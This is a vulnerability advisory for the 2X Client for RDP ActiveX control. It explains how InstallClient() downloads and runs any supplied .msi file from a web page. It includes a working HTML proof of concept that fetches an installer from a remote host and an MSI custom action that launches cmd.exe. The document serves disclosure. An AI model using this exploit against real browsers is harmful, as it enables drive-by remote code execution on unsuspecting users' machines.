2X Client for RDP 10.1.1204 – ClientSystem Class ActiveX Control Download and Execute
2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control TuxClientSystem.dll InstallClient() Download and Execute Vulnerability tested against: Microsoft Windows Vista SP2 Microsoft Windows Server 2003 r2 sp2 Internet Explorer 8 vendor description: "2X Software is a global leader of desktop and application delivery, remote access and cloud computing solutions." 2x homepage: http://www.2x.com/ download url: http://www.2x.com/rdp-client/windows-linux-mac/downloadlinks/ file tested: 2XClient.msi Background: the mentioned product installs an ActiveX control with the following settings: ProgID: TuxClientSystem.ClientSystem.1 CLSID: {F5DF8D65-559D-4b75-8562-5302BD2F5F20} Binary path: C:\Program Files\2X\Client\TuxClientSystem.dll Implements IObjectSafety: True Safe for Scripting: True Safe for Initialization: ? According to the IObjectSafety interface this control is Safe for Scripting, then Internet Explorer will allow the scripting of this control. Vulnerability: ... /* DISPID=2 */ function InstallClient( /* VT_BSTR [8] [in] */ $msiPath, /* VT_I4 [3] */ $bFullInstallation ) { /* method InstallClient */ } ... The first argument of this method accepts a file location on the internet. By supplying the url of a .msi installer, the mentioned control will download and execute the file without no user interaction other then browsing a web page. To demonstrate this vulnerability I modified an existing standalone msi installer through free availiable tools by replacing a CustomAction row with the following values: Action Type Source Target ExtendedType Run 226 SystemFolder.98CB24AD_52FB_DB5F_FF1F_C8B3B9A1E18E """cmd.exe"" /c start calc" <null> As attachment: 9sg_2x.html - host on a web server and change the position of x.msi then browse this page POC: <!-- 2X Client for RDP 10.1 ClientSystem Class ActiveX Control TuxClientSystem.dll InstallClient() Download and Execute Vulnerability PoC --> <!-- saved from url=(0014)about:internet --> <html> <object classid='clsid:F5DF8D65-559D-4B75-8562-5302BD2F5F20' id='obj' /> </object> <script> obj.InstallClient("http://192.168.2.101:4444/x.msi",1); </script> |